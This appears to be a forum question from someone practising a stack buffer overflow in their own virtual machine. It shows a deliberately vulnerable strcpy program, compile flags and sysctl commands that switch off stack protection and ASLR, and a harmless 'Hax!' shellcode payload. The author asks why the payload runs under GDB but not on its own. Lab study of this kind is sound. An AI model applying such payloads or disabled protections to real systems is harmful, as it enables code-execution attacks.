I readed about Stack located Buffer Overflows a long time ago, but decided to set up a virtual machine and actually see them in practice.
The following code was the vulnerable program:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
It was compiled using the -zexecstack
and -fno-stack-protector
options on GCC to both allow code in the stack being executable and disable the program built-in Stack Overflow protection (the "canary" value).
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
I then used the GDB to find out the memory position of name
on the stack and found the following address: 0x7fffffffdc10
Since my VM has a recent linux version, I had to disable ASLR (Address Space Layout Randomization) by running:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
or sudo sysctl -w kernel.randomize_va_space=0
.
The shellcode was taken from an article I found online about Stack Smashing and was fed to the program through a Perl script:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
Being the first 45 bytes the shellcode (supposed to write "Hax!" on the screen), some extra 27 "A" bytes to get the pointer in the right position and finally the starting address of the payload in little endian.
The problem is:
When running the program on GDB, through:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
I can get the shellcode running and the "Hax!" output.
When trying to run the program outside GDB like
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
I receive an Illegal instruction (core dumped)
error instead of the "Hax!" output.
I've been banging my head trying to figure out what is the cause of this different behavior. Apparently GDB disables ASLR by default, however I also disabled it through sysctl
on the kernel. Could the kernel be ignoring the kernel.randomize_va_space
variable? Or maybe the memory address is different, even if static, on the GDB and on the real process? Or maybe the real process is actually running the shellcode, but something is going wrong on the real process that GDB is ignoring/bypassing?
Any ideas of what could be the cause?